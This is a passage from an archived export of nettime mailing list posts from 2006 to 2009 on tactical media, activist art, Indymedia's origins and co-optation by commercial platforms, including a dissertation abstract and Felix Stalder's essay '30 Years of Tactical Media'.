need something like vanguard art (only I think you can call it\npost-vanguard art, because these practices have gone far beyond their old limits).\nI wanted to conclude my review on Harvey's strong analysis of the subservience of\nart to finance in the neoliberal economy, and at the same time, I wanted to\nquestion the Marxist reflex that would reach back to a supposedly clearer and\ntruer world of working class culture and militantism that the new middle class\nmedia culture is said to simply obscure and distort.\n\nThe problem, as Garcia shows throughout his own text, is that the contemporary\ncultural economy really does have a strong coopting and neutralizing capacity,\nwhich operates mainly through commercialization in the United States and mainly\nthrough selective social democratic patronage in Europe. The combined renewal of\nartistic and activist practices in the 90s really did require direct action,\nreclaiming the streets, as Garcia knows for having theorized such things while\nalso participating in them.\n\nNow that the effectiveness of direct action has been blunted by increasing police\npressure on the streets, as well as a general rise in the stakes of political\nconflict, we do (or at least I do) see the cultural institutions and even the\ncommercial ones coming in to skim off the cream of tactical media representations,\nwhich aren't particularly threatening or destabilizing in the absence or decline\nof what they were supposed to represent. That's a real problem. I am sure plenty\nof activists are suspicious of me, for publishing and spouting off my mouth and\nparticipating in museum and festival debates. I'm even suspicious of me, to the\npoint where I've deliberately gone back to translating, to make sure that I'm not\ntempted to write texts or do talks just for the payoff at the end. It's easy to\nget confused in a great big media machine that is also made (or at lest functions)\nto produce confusion. But what's mainly lacking, from my viewpoint, are not only\naudacious direct action stunts, and not only (though this is of course more\nimportant) forms of political engagement that can reach huge numbers of\nparticipants and give them an effective way to help change society. What's also\nmissing are artworks that cut through the trendy flaky fashions, and go beyond the\nold modernist definitions of art for art's sake, to touch the core of the human\nquandry and help you transform your self and your relation to the others, at a\nmoment when things go on getting worse and worse and worse.\n\nGarcia quotes Terry Eagleton to talk about how the women's movements totally\nchanged politics, by making what appear as cultural issues inseparable from the\neconomic ones. He could have drawn his examples (and probably would have, if he'd\nbeen here) from the 6th World Social Forum in Caracas, where you could see and\nhear and feel, in almost every talk and study session and activist planning round,\nthat the old ways of doing politics have changed. Particularly, but not only, by\nthe fact that women and indigenous people are participating everywhere, and often\ntaking the most prominent roles. I did not see much cutting edge art at the social\nforum, certainly not in the concentrated forms that derive from the western\ntradition. But a strong point of the forum for me was the way that it put forth\nthe irreducible presence of a plurality of cosmovisions. Yes, that's they say. And\nyou could hear it, you could feel it. At one point, Maya and Qechua women\ncompleted a ceremony on stage in the context of a panel which was refusing the\npatenting of women's knowledge. In the Q and A that followed, one of the women\nsaid more or less this: \"Our god is not up above in the sky. Our god is in the\nearth. It is in us. It is us.\" I had a kind of insight at that point, or maybe\nsomething I had learned from deconstruction finally made tangible sense to me. I\nrealized that the whole Christian recovery and reinterpretation of Platonic\nidealism was inseparable from abstract, Cartesian, metaphysical, alienating\nrepresentation. The spectacle society. The military surveillance grid. And I\nrealized that what we were involved with was not that kind of representation.\n\nBut there I go again talking again, spouting off. Who wants to make me feel guilty\nabout it? While those women were performing their ritual, there was a TV cameraman\ncrowding on the stage. It was so annoying, this guy crowding in on our intimacy.\nAnd then I remembered that this was being broadcast by the Bolivarian TV stations.\nThe revolutionary TV stations. Like Catia TV, where I saw a fantastic\nmontage-analysis of the way that the commercial TV channels had sought throughout\nthe late nineties and early years of this decade to impose a reactionary reading\non crucial events in the streets that have led, each time, to the continuation of\nthe revolutionary project here in Venezuela. What you could see in action, on\nbroadcast TV, was a critical and transformative kind of mass representation. At\none point, on broadcast TV, they were showing an interview of an Italian guy from\nTelestreet, talking about the urgent situation in Italy where Berlusconi controls\nall the broadcast media.\n\nI like art. I like activism. While hanging out in Caracas, I would sift through my\nmail in cybercafes, like all the gringos and all the latinos. I get so many ads\nfor high-class art and pseudo activist events put on by the European social\ndemocratic institutions. One mail said: Art's good for nothing, that's its whole\nnecessity. The hackneyed French academic modernist version of elite vanguard art.\nAnother mail said: If I can't dance I don't want to be part of your revolution.\nThe happy-go-lucky disco Dutch populist version of activist cooptation.\n\nI admit it, at times I feel impatient and even angry about all that schlock.\nPhilistinism? Well, sometimes I also just feel very very bored.\n\nbest, Brian\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00050",
                        "date": "Mon, 30 Jan 2006 19:37:35 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1F3rV5&#45;0002u8&#45;7y {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0601/msg00050.html",
                        "content-type": "text/plai",
                        "author_name": "brian.holmes {AT} wanadoo.fr",
                        "subject": "Re: <nettime> Diminishing Freedoms"
                    }
                ],
                "message-id": "E1F2jfd&#45;0003K1&#45;Ij {AT} bbs.thing.net",
                "date": "Fri, 27 Jan 2006 17:22:36 -0500",
                "content-type": "text/plai"
            },
            {
                "id": "00065",
                "content": "Dear Nettimers:\n\nI have recently finished a M.A. dissertation about\nTactical Media that I've talked about here a few years ago\n(www.nettime.org/Lists-Archives/nettime-l-0311/msg00063.html).\nI'm sending you here the English version of the abstract\nand the table of contents. In the thesis, I make some\ncriticisms of the concept of tactical media in terms of\nits current validity. Also, in the second part I cover in\ndetail some projects of the vibrant brazilian tactical media\nscene: Metareciclagem (www.metareciclagem.org) - who has\nreceived an honorary mention in this year's Ars Electronica\n(www.aec.at/en/prix/honorary2006.asp) and the now deceased\nProjeto Met\u00e1fora (http://ogum.metareciclagem.org/metafora).\n\nSince Nettime's 10th aniversary meeting is happening right now\nin Montreal, I think it would be good to start a debate here in\nthe list about the actual relevance of tactical media in the\nage of Web 2.0, which has embraced (co-opted?) much of the same\nDIY ethos in places like Flickr and MySpace. On the other side,\nwe're also living in the midst of the \"state of exception\"/War\nagainst terrorism where every subversive activity is considered\nsuspicious - the bioterrorism paranoia case against CAE.\n\nJudging from the brazilian example, I think that it is becoming\nmore adequate to think about tactical media in peripheral\ncountries like Brazil and India where there's a sense of more\nsevere urgency in social transformation, of reappropriation of\ntechnology by the people.\n\nBest regards from Portugal,\n\nMiguel Caetano\n\n\nTechnologies of Resistance:\nTransgression and Solidarity in Tactical Media\n\nMiguel Afonso Caetano\n\n\nResulting from the convergence between media, technology, art\nand politics, tactical media are a set of cultural practices\nand a theoretical movement which started in Europe during the\nfirst half of the 90s, having spread to North America until\nthe end of the millenium and, afterwards, to the rest of the\nworld. Initially taking advantage of video camcorders but also,\nlater, of digital technologies such as CD-ROMs and the Internet,\nthe producer of this kind of media acknowledges himself as as\na hybrid, performing simultaneously the role of an artist,\nactivist, theorist and technician.\n\nThese subversive and/or creative uses of information and\ncommunication technologies by individuals who normally don't\nhave access to them are characterized by experimentalism,\nephemerality, flexibility, irony and amateurship. Based on the\ndistinction between tactics and strategies developed by Michel\nde Certeau and continued by David Garcia and Geert Lovink, this\ndissertation examines the way tactical media present themselves\nas \"media of crisis, critique and opposition\". By applying\na theoretical analysis of some collectives, we intend to\ndemonstrate that the protest tactics of these media production\nforms represent a position of permanent struggle against a\nconcrete and explicit opponent (nation-state, supranational\ninstitution or transnational corporation).\n\nAfter addressing the dangers that this antagonist model of media\nas a weapon of resistance can lead to, we propose an alternative\nperspective of tactical media built on an empirical analysis of\ntwo brazilian projects, Met\u00e1fora and MetaReciclagem. Finally,\nwe argue that these and other grassroots initiatives adapt the\npractices of subversion and resistance visible in the activist\ncollectives of developed countries to the local settings of\na peripheral country like Brazil. By fostering technological\nreappropriation for social transformation, these groups unleash\nthe creative and communication capacities of these communities,\ntowards their self-sustainability and autonomy.\n\nKeywords: tactical media, strategies, media activism, alternative\nmedia, hacker, free software, technological reappropriation,\nrecycling, Brazil.\n\n\nTable of Contents\nIntroduction\n\n  9\n    Methodological and Epistemological Notes\n                                                     12\n    Dissertation Plan\n                                                             17\n1 - Elements for The History and Characterization of Tactical Media\n                                     21\n1.1 - Genesis of The Movement\n                                                        21\n1.2 - Main Definitions\n                                                   25\n1.3 - Theoretical Approaches\n                                                      27\n1.4 - Distinction Between Alternative Media and Tactical Media\n                                        35\n2 - Genealogy of Informational Mobilizations\n                                   42\n2.1 - 70s and 80s\n                                                 45\n2.2 - 90s\n                                                   51\n2.3 - Mediactivism: From The Right to Information to The Right to The\nSelf-Management of Communication   54\n\n3 - The Influence of The Free Software Movement and of The Hacker\nEthic                                     60\n\n3.1 - The Free Software Development Process\n                         69\n3.2 - The Hacker Ethic\n                                                             72\n4 - Tactics and its Theorerical Metaphors\n                                                   75\n4.1 - Tactics and Strategies in Michel de Certeau\n                                      76\n4.2 - Tactics as D\u00e9tournement\n                                     79\n4.3 - Tactics as Rhizome\n                                           83\n4.4 - Tactics as Temporary Autonomous Zone (TAZ)\n                      87\n4.5 - Tactics as Swarming\n                                        92\n4.6 - Tactics as Multitude\n                                         98\n4.7 - Tactics as Smart Mob\n                                     103\n5 - Tactical Media Practices\n                                                      110\n5.1 - Culture Jamming: Semiological Guerrilla\n                                        110\n5.2 - Hacktivism:  Cyberspace's Counter-power\n                                117\n5.3 - Artivism: Cr\u00edtique and Subversion in net.art\n                                              129\n5.4 - The Indymedia Information Network: Open-Source Journalism\n                                  144\n5.4.1 - IMC-Portugal: A Small Case Study\n                  152\n6 ? Contributions For a Critique of The Concept\n                                                168\n6.1 - \"The Alt.Everything of Culture and Politics\"\n                                           168\n6.2 - The Specter of Cooptation by Capital\n                                           170\n6.3 - The Eternal Return of The Technological Sublime\n                                              172\n6.4 - The Impossible Subversion of Media\n                                             175\n6.5 - The Rhetorics of The Enemy and The Terrorist Metaphor\n                                               178\nSECOND PART\n1 - The Brasilian Digital \"Jeitinho\": \"Gambiarras\", \"Mutir\u00f5es\" and\n\"Puxadinhos\"                       188\n1.1 - M\u00eddia T\u00e1tica\n                                                           189\n1.2 ? Contratv\n                                                             195\n1.3 ? Re:combo\n                                                          195\n1.4 - Free Radios: R\u00e1dio Muda\n                                              196\n1.5 ? CMI-Brasil\n                                                          198\n1.6 - Brazil, A Hacker Nation\n                                                      201\n2 - Met\u00e1fora Project: Chaos and Order in a Collective Intelligence\n                                   205\n2.1 ? Events and Projects\n                                                      210\n2.2 - The Participation in Midia T\u00e1tica Brasil\n                                               216\n2.3 ?The Attempt to Create a NGO and The End\n                                 217\n2.4 - Leadership and Motivation in a \"Chaorder\"\n                                          222\n3 - MetaReciclagem: Reappropriation of Technology for Social\nTransformation      226\n3.1 - The Replication of MetaReciclagem's Methology\n                               233\n4 - Analysis of Survey Data\n     239\n4.1 - Profile of Met\u00e1fora's and MetaReciclagem's Collaborators\n                            239\n4.2 - Opinions Towards Met\u00e1fora and MetaReciclagem\n                          243\n4.2.1 - Political Motivations of The Projects\n                                              243\n4.2.2 - Distinction Between Digital Inclusion and Social\nReappropriation of Technology             244\n4.2.3 - Evaluation of Strenghts and Weaknesses\n                                        247\n4.2.4 - Personal Visions About Met\u00e1fora and MetaReciclagem\n                       249\nFinal Conclusion\n                                                              251\nBibliography\n                                                                  258\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0605/msg00065.html",
                "list": "nettime_l",
                "author_name": "Miguel Afonso Caetano",
                "subject": "<nettime> Technologies of Resistance: Transgression and Solidarity in Tactical Media",
                "from": "\"Miguel Afonso Caetano\" <miguel.a.caetano {AT} gmail.com>",
                "follow-up": [
                    {
                        "content-type": "text/plai",
                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                        "id": "00071",
                        "content": "Miguel Afonso Caetano wrote:\n\n>I have recently finished a M.A. dissertation about Tactical Media\n>that I've talked about here a few years ago\n\nI'd be totally interested to read your dissertation Miguel, is it\nonline?\n\n>I think it would be good to start a debate here in the list about the\n>actual relevance of tactical media in the age of Web 2.0, which has\n>embraced (co-opted?) much of the same DIY ethos in places like Flickr\n>and MySpace. On the other side, we're also living in the midst of the\n>\"state of exception\"/War against terrorism where every subversive\n>activity is considered suspicious - the bioterrorism paranoia case\n>against CAE.\n\nMy feeling is that cooptation is an infinite process - part of\nsocial struggle, which demands that every dissenting or antagonistic\nexpression be abandoned and reinvented soon after its first release\ninto the infosphere. I also think that the expression \"tactical\nmedia\" was launched at a great moment of political weakness and\nunder-the-radar diffuse experimentation from the left/anarchist side\nof the cultural and political spectrums - a moment coinciding with\nthe massification of a new communicational toolkit. That those days\nare gone is pretty clear (the state of exception was definitely the\nturning point), but what's interesting is all they produced, the new\npossibilities. The questions of what at the time was called tactical\nmedia, and more, the forms of experimentation with communicational\npolitics from below, are something you can only move through as\nit happens and leave aside as it disappears. Still, histories are\nfascinating when they're not confused with futures.\n\n>Judging from the brazilian example, I think that it is becoming\n>more adequate to think about tactical media in peripheral countries\n>like Brazil and India where there's a sense of more severe urgency\n>in social transformation, of reappropriation of technology by the\n>people.\n\nThere's something to that. First of all, De Certeau was inspired\nby Brazil and wrote about it, if I'm not mistaken. Second, the\nmassification of the Internet toolkit is still underway in Brazil and\nIndia. Third, the state and therefore, the cooptation apparatus is\nweak in Brazil, though as far as I can see (on short visits) it still\nworks all too well. Actually, I think people in Brazil and India would\nbe best off inventing new concepts to really drive home the point that\nthings are happening - and should happen, are urgently needed - in\nthose specific contexts.\n\nThe thing that amazed me on my last trip to Sao Paulo was hearing\nabout the PCC weekend. What does nettime think about that? A gang\nthat has totally dominated the prison system in Sao Paulo state, that\ncontrols the drug trade in the cities of that state (including the\nmegalopolis itself), that has built up a very sophisticated economy\nand a functioning leadership structure, and is able to coordinate\nan attack on the police using cell-phones from inside the prisons,\nburning 60 buses and assaulting reportedly a hundred police stations\n(is that true?), carrying out what friends of mine described as a\n\"subjective occupation\" of the minds and emotions of one of the\nlargest cities in the world! Talk about tactics... It seems as though\na networked criminal organization (the Primeiro Commando da Capital)\nis able to run rings around a state which cannot catch up to it,\ncannot install the kind of hi-tech protection and distributed control\nmechanisms that the US and other Western countries are working so\ndeperately to perfect. This is fantastically interesting, actually\nhopeful in some wierd respects (if the state fails to that degree,\nmust it not be reinvented?), but mostly just astounding, with the\ngreat danger that a kind of fascist electoral reaction will come out\nof it (as in the US), as well as police death-squads which, I have\nbeen told, immediately formed to exact repraisals. The whole thing is\nincredibly important as a phenomenon of our times, I would be curious\nto know what others think about it.\n\nbest, BH\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "date": "Wed, 31 May 2006 13:01:09 -0300",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FluLs&#45;00065E&#45;Iv {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0605/msg00071.html",
                        "list": "nettime_l",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> Technologies of Resistance: Transgression and Solidarity in Tactical Media"
                    }
                ],
                "message-id": "E1FlJY6&#45;00066U&#45;6R {AT} bbs.thing.net",
                "date": "Tue, 30 May 2006 19:05:50 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "elix Stalder <felix {AT} openflows.com>",
                "id": "00014",
                "content": "This is a short text which appears in \"Public Netbase: Non Stop Future. New \nPractices in Art and Media\" edited by the fine people at the New Media \nCenter_kuda.org, in cooperation with World-Information Institute / t0. We \nrecently presented this book at transmediale in Berlin.\n\n\"An ultimate reference book for those who want to find out about cultural\ndiscourse and practice from the beginning of the internet explosion in the\nnineties to the present...\" Brian Holmes\n\nhttp://nonstop-future.org\n\n\n30 Years of Tactical Media [1]\nFelix Stalder\n\nTactical media as a practice has a long history and, it seems save to \npredict, an even longer future. Yet its existence as a distinct concept \naround which something of a social movement, or more precisely, a self-\naware network of people and projects would coalesce has been relatively \nshort lived, largely confined to the internet's first decade as a mass \nmedium (1995-2005). During that time Geert Lovink and David Garcia, two \nDutch media activists/theorists at the heart of this network, defined \nTactical Media, as\n\n\"what happens when the cheap 'do it yourself' media, made possible by the \nrevolution in consumer electronics and expanded forms of distribution (from \npublic access cable to the internet) are exploited by groups and \nindividuals who feel aggrieved by or excluded from the wider culture. \nTactical media do not just report events, as they are never impartial they \nalways participate and it is this that more than anything separates them \nfrom mainstream media.\"[2]\n\nLike so many other things that are now common in our informational lives, \nthe roots of tactical media lie in the cultural innovations of radical \nsocial movements that sprang up in the late 1960s. Not only did they begin \nto exploit technological changes enabling to self-produce media but they \ncreated entirely new ideas of what the media could be: not just conduits \nfor more or less sophisticated state propaganda (as in Althusser's famous \nanalysis of the ???ideological state apparatuses???[3]) or as a source of \n???objective??? information provided by a professional (enlightened) elite. \nRather, they reconceptualized the media as means of subjective expression, \nby people and for people who are not represented by the mainstream.\n\nGiven the still significant technological hurdles to autonomous media \nproduction and distribution which existed deep into the 1990s, the first \nwave 'do-it-yourself' media thought of themselves as ???community media??? \nrepresenting local social, cultural or ethnic minorities. In the US, \ncommunity media centered around public access television (and radio). They \nwere made possible by fortuitous legislation which required cable companies \nto provide one channel for local, non-commercial programming. This created \nthe technological and financial basis for community activists to run a \n(low-budget) TV channel. Across the country, local TV stations sprung up, \ngiving a platform to various community groups to produce programming by and \nfor themselves. During the 1970s, video technology developed at a rapid \npace, reducing the bulk and the costs of the equipment while improving the \nquality of the recordings and the means of post-production. In the 1980s, \nthis peaked in the ???camcorder revolution???, referring the small, cheap video \ncameras/recorders that became widely available. They seemed to offer the \npossibilities to engage in ???counter surveillance???, i.e. the ability to \ndocument abuses of power. As the case of Rodney King showed in the early in \n1990s in Los Angeles, the consequences of such ???counter surveillance could \nbe dramatic.[4] At the same time, new satellite transmission technology \nmade it possible to start nation-wide, rather than local distribution of \ncontent. This was spearheaded by Deep DishTV, founded in 1986. Its aim was \nto ???do what broadcast media cannot do for itself: identify and amplify, \nwithout alteration or limitation, the voices of the disenfranchised \ncultures who struggle for equal time.???[5] In the Netherlands, public cable \nTV enabled an lively pirate TV and radio scene which developed in parallel \nwith the early public access Internet projects such as Digital City of \nAmsterdam creating a rich local culture of experimental, politicl medial.\n[6] In the rest of Europe, partially because of a different regulatory \nenvironment, public access TV has played less of a role, whereas community \nradio, or, in the UK, pirate radio, has flourished since the 1970s. Today, \nthe public access model is still relevant and even expanding. In Vienna, \nfor example, a new public access channel (Okto TV) opened in 2005. Yet, the \nTV environment has changed significantly over the last 30 years, and public \naccess TV is threatened to become just another narrow-caster among a near \ninfinite number of channels.\n\nBy the mid 1990s, the costs of media production had further come down and \nthe internet was beginning to offer a credible promise of an alternative \ndistribution platform. It made possible to avoid some of limitations of \nbroadcast media with their hardwired distinction between sender and \nreceiver, which not even community media could overcome (even if they if \nthey lowered the hurdles to becoming a producer oneself). A new generation \nof media activists began to experiment with the new possibilities of open \ncommunication networks, which were, by and large, still a promise to be \nrealized, rather than a readily-available infrastructure.\n\nThey radicalized the ideas of community media by challenging everyone to \nproduce their own media in support of their own political struggles. This \nnew media activism was motivated by three key insights. First, cultural \ntheorists had been calling for a reevaluation of how individuals dealt with \nmedia products. Rather than seeing them merely as passive consumers, they \nwere understood as tactically appropriating them.[7] New media could \ntransform this practice from an individual to a social level. Hence the \nterm, tactical media. Second, it became understood very clearly that all \npolitics are, to a significant degree, mediated politics and that the long-\nheld distinction between the ???street??? (reality) and the ???media??? \n(representation) could no longer be upheld. On the contrary, the media had \ncome to infuse all of society and in order to challenge the dominant \nsociety, it was necessary develop new means of producing and distributing \nmedia. Not as a specialized task separate from the social movements, but as \nkey activity around which social movements could coalesce. Finally, the \nmedia environment characterized by a broadcast logic of geography was being \nsupplemented with an environment characterized a many-to-many logic of \naccess.\n\nIn such an environment, networking came naturally and some of the key \nnetworking events were the large scale social protests that tracked the \ninternational policy gatherings of the WTO (World Trade Organization), G8 \nand similar ???free trade??? organizations in the late 1990s and early 2000s. \nThis inspired the creation of an international network of local media \nprojects under the name of Indymedia which, at least initially, understood \nitself as the media arm of the anti-globalization movement. However, while \nIndymedia currently still lists close to 200 local, regional and national \nnetwork nodes, it never really managed, and probably never intended, to \nmatch the full breadth of a global movement. Rather, Indymedia seems to \nflourish where the nodes are deeply rooted in local communities, \nprivileging concrete local struggles over abstract, global policy.\n\nEven before Indymedia attempted to establish global alternative media \nnetwork, a series of conferences were held in Amsterdam (1995 - 2003) \ncalled ???The Next Five Minutes??? (N5M)[8]. They brought together many of the \nearly internet-based media activists and connected them with previous \ngeneration of public access TV producers and independent film makers, \nreconceptualizing the whole movement as Tactical Media. These new media \nprojects were understood as tactical because they were not geared towards \nsetting up long-term structures, but towards quick interventions that could \nbe realized with high ingenuity and low budgets. It was practice over \ntheory, partly as an attempt to sidestep the exhausting debates about \nidentity and representation that had been raging for more than a decade \nnow.[9]\n\nSuch a short range approach was well suited to experimentally explore the \nnew media environment which was rapidly emerging but was still largely \nunstabilized. Technology was being developed at an extremely fast pace \nduring this hyper-growth phase of the internet, and a global civil society \nwas just beginning to be forged. Thus, many of the Tactical Media projects \nwhere even more marginal than the community media of the previous \ngeneration, but they nevertheless played an important role in the \nexperimentally establishing media practices adapted to the new conditions \nof open networks. For a few years, and mainly do to intensive networking at \nconferences such as N5M, Tactical Media flourished as a distinct, self-\nconscious practice of media activists interested technological and \npolitical innovation.\n\nHowever, as the technologies of the Internet began to mature, some of the \ninherent contradictions of the Tactical Media concept became apparent. For \nexample, providing infrastructure for projects is a long-term rather than a \ntactical task that quickly overburdens loose networks. Indymedia has been \nhere the exception to the rule, but mainly because it turned closer to \ncommunity media, made by and for a relatively distinct subset of the larger \nanti-globalisation movement. Publicly-funded organizations active in this \narea, such as Amsterdam's De Waag, either lost interest, or, as in the case \nof Vienna's Public Netbase, had their funding cut, leaving the field to \nsmaller, more specialized organizations. More importantly, however, was the \nconceptual contradictions between integrating media production into all \nforms of grassroots political movements as part of their tool kit, and \nbuilding a particular identity around this increasingly common practice. \nThe movement as a whole began to dissolve as increasingly people were doing \ntactical media without thinking about Tactical Media. In a way, Tactical \nMedia was so successful in establishing new political practices that it \ncould no longer serve as a distinctive approach would define a particular \ncommunity.\n\nThis makes the current state of affairs decidedly mixed. On the one hand, \nproduction technology has become even more accessible, both in terms of \nprice and ease-of-use. With the advent of commercial hosting companies for \nblogs or videos distribution has been professionalized to a very high \ndegree. As an effect, it has become very simple to shoot, edit and \ndistribute rich media to audiences large and small. This is very good news, \nparticularly for activists in developing countries. At the same time, the \ncommercial capture of the infrastructure is creating new bottlenecks where \ncensorship and control of media content can and does function efficiently.\n\nThus the autonomous production of media for grassroots campaigns has been \nwidely established as a core concern for contemporary political movements, \nnot the least thanks to the Tactical Media pioneers of the 1990s. However, \nits increasing reliance on commercial infrastructure is introducing new \npoints of failure are becoming apparent as the policing of the commercial \nplatforms is getting more intense.\n\nPartly as a reaction to the shortcomings of tactical media and the \npressures of the commercial platforms, there is a renewed interest in \ninfrastructure among politically-minded media developers. One example is a \nglobal network of initiatives called ???bricolabs??? which describes itself as \n???a distributed network for global and local development of generic \ninfrastructures incrementally developed by communities.???[10] Bricolabs, in \na way, combines the two strands of Community Media and Tactical Media, by \nseeking ways to network local communities to support each other in the \ndevelopment of alternative infrastructures for media production. How far \nthis goal can be realized remains to be seen, but it is clear that despite \nthe decline of Tactical Media in the narrow sense, the social practice of \nautonomous media production continues to be adaptive and innovative.\n\nNOTES\n\n1. This text benefitted from feedback by Konrad Becker, David Garcia and \nPatrice Riemens.\n\n2. Lovink, Geert; Garcia, David (1997): The ABC of Tactical Media. \nhttp://www.ljudmila.org/nettime/zkp4/74.htm\n\n3. Althusser, Louis (1971). Ideology and Ideological State Apparatuses \n(Notes towards an Investigation), (trans. Ben Brewster) in: Lenin and \nPhilosophy and Other Essays, Monthly Review Press \nhttp://www.marxists.org/reference/archive/althusser/1970/ideology.htm\n\n4. Wikipedia: Rodney King. http://en.wikipedia.org/wiki/Rodney_King\n\n5. Yablonska, Linda (1993). Deep Dish TV. High Performance #61, Spring \nhttp://www.communityarts.net/readingroom/archivefiles/1999/12/deep_dish_tv.php\n\n6. Lovink, Geert; Riemens, Patrice (2000). Amsterdam Public Digital Culture \n2000. In Telepolis, 18.08. http://www.heise.de/tp/r4/artikel/6/6972/1.html\n\n7. Certeau, Michel de (1988). The Practice of Everyday Life. Berkeley, \nUniversity of California Press\n\n8. http://www.next5minutes.org/\n\n9. Wark, McKenzie (2002). Strategies for Tactical Media. In: Proceedings \nfrom the South Asian Tactical Media Lab. Nov. 14-16. Delhi. \nhttp://www.sarai.net/resources/eventproceedings/2002/tactical-media-\nlab/strategies.PDF\n\n10. http://www.bricolabs.net [28.02.2008]\n\n\n\n-------------------\n\nPublic Netbase: Non Stop Future\nNew Practices in Art and Media\n\nPublisher: Revolver - Archiv f??r aktuelle Kunst\nISBN: 978-3-86588-455-8\n\nEditors: New Media Center_kuda.org\nIn cooperation with World-Information Institute / t0\n\nhttp://nonstop-future.org\n\nOrder from:\nwww.vice-versa-vertrieb.de\nwww.amazon.com\n\nNew Media Center_kuda.org\nNovi Sad, Serbia\nhttp://kuda.org\n\nWorld-Information Institute / t0\nhttp://world-information.org/wii\n\n\n--- http://felix.openflows.com ----------------------------- out now:\n*|Mediale Kunst/Media Arts Zurich.13 Positions.Scheidegger&Spiess2008\n*|Manuel Castells and the Theory of the Network Society. Polity, 2006 \n*|Open Cultures and the Nature of Networks. Ed. Futura/Revolver, 2005 \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "date": "Sun, 8 Feb 2009 17:15:32 +0100",
                "to": "nettime-l {AT} kein.org",
                "message-id": "12851fd4a50fd658cb9211dbffd26a8d {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0902/msg00014.html",
                "list": "nettime_l",
                "author_name": "Felix Stalder",
                "subject": "<nettime> 30 Years of Tactical Media"
            },
            {
                "content-type": "text/plai",
                "from": "zanny begg <zanny.b {AT} gmail.com>",
                "id": "00013",
                "content": "Below is an article marking the 10th anniversary of Indymedia ( and its\nroots within Sydney activist scene) which was published in the most recent\nedition of RealTime (+on screen).\n\nTo go to a link for the article: http://www.realtimearts.net/article/95/9752\n\n Message is Medium is Message\n\n[image: Indymedia flyer] I\nJUST OVER 10 YEARS AGO SYDNEY MEDIA ACTIVISTS RUSHED TO FINISH A VERSION OF\nACTIVE SOFTWARE WHICH WOULD ENABLE THE FIRST INDYMEDIA SITE TO GO LIVE IN\nTIME TO COVER THE PROTESTS AGAINST THE WORLD TRADE ORGANISATION MEETING IN\nNOVEMBER 1999. AS RIOTS ERUPTED IN DOWNTOWN SEATTLE, MILLIONS OF PEOPLE\nLOGGED INTO THE NEW SITE LAUNCHING A MEDIA NETWORK WHICH REPORTEDLY RECEIVED\nMORE HITS IN ITS FIRST WEEK THAN MEDIA HEAVYWEIGHTS SUCH AS CNN.\n\n\u201cIt was the heyday of globalisation, the high point of the internet boom and\nthe last gasp of the New Economy: the WTO ministerial in Seattle was meant\nto celebrate the advent of a corporate millennium extending \u2018free trade\u2019 to\nthe furthest corners of the earth. Nobody on that fall morning of Tuesday,\n30 November 1999, could have predicted that by nightfall the summit would be\ndisrupted, downtown Seattle would be paralysed by demonstrations and a\nfull-scale police riot would have broken out\u2026Nobody, that is, except the\nthousands of protesters who prepared for months to put their bodies on the\nline and shut down the World Trade Organization.\u201d\n\nBrian Holmes, nettime posting November 2009.\n\nTen years later the Indymedia network, while relatively small and fragmented\nin Australia, has grown to over 150 outlets around the world and has become\na global phenomenon based around the simple slogan: \u201cdon\u2019t hate the media,\nbecome the media.\u201d A decade on it is now possible to see that Indymedia not\nonly helped establish a global media service it also helped forge a\nconnection between digital innovation and activism which has had a lasting\nimpact on culture and the net.\n\nactivism goes digital\nABC social media producer John Jacobs, a member of the Jellyheads anarchist\nmedia collective whose warehouse was an infamous performance venue in the\n90s, explains that the impetus for Indymedia grew out of attempts by people\ninvolved in Jellyheads, Critical Mass and the Reclaim the Streets activist\ncommunities to produce a hardcopy calendar to share news and events. Jacobs\nsays that he knew he \u201cnever wanted to look at a photocopying machine again\u201d\nwhen he met up with a physics student at Sydney University, Matthew Arnison.\nArnison and Andrew Nicholson collaborated in writing the code for Active\nSydney, a website which enabled people to share events, news, photos and\nother digital material online for the first time.\n\nActive showed its international networking potential when used to cover news\nof the J18 global street parties in June 1999. As Nicholson, who is now a\nfreelance coder and a member of the Sydney based art collective You Are\nHere, explained, its breakthrough was that activists could share information\nin \u201cnear real time.\u201d In the build up to the Seattle protests in November of\nthat year the founders of Active made contact with media activists in\nAmerica and helped create the first Indymedia site which was based on the\nexisting Active software.\n\nMedia analyst Marc Garcelon explains how Jeff Perlstein, a local member of\nthe Seattle Independent Media Coalition, and another Seattle media activist,\nSheri Herndon, became interested in using the internet to create an\nindependent media network focused on the upcoming WTO protests. These\nactivists wanted to utilise the archetype of \u201copen-posting\u201d developed in\nAustralia: \u201cafter hooking up online with the Active network, the Seattle\ngroup around Perlstein and Herndon secured low-rent use of a downstairs\nfloor in Seattle through the directors of the Low Income Housing\nInstitute\u2026For the next six weeks, the network transformed this space into\nthe first Indymedia center, which became operational the day before protests\nbegan against the WTO Conference\u201d (Marc 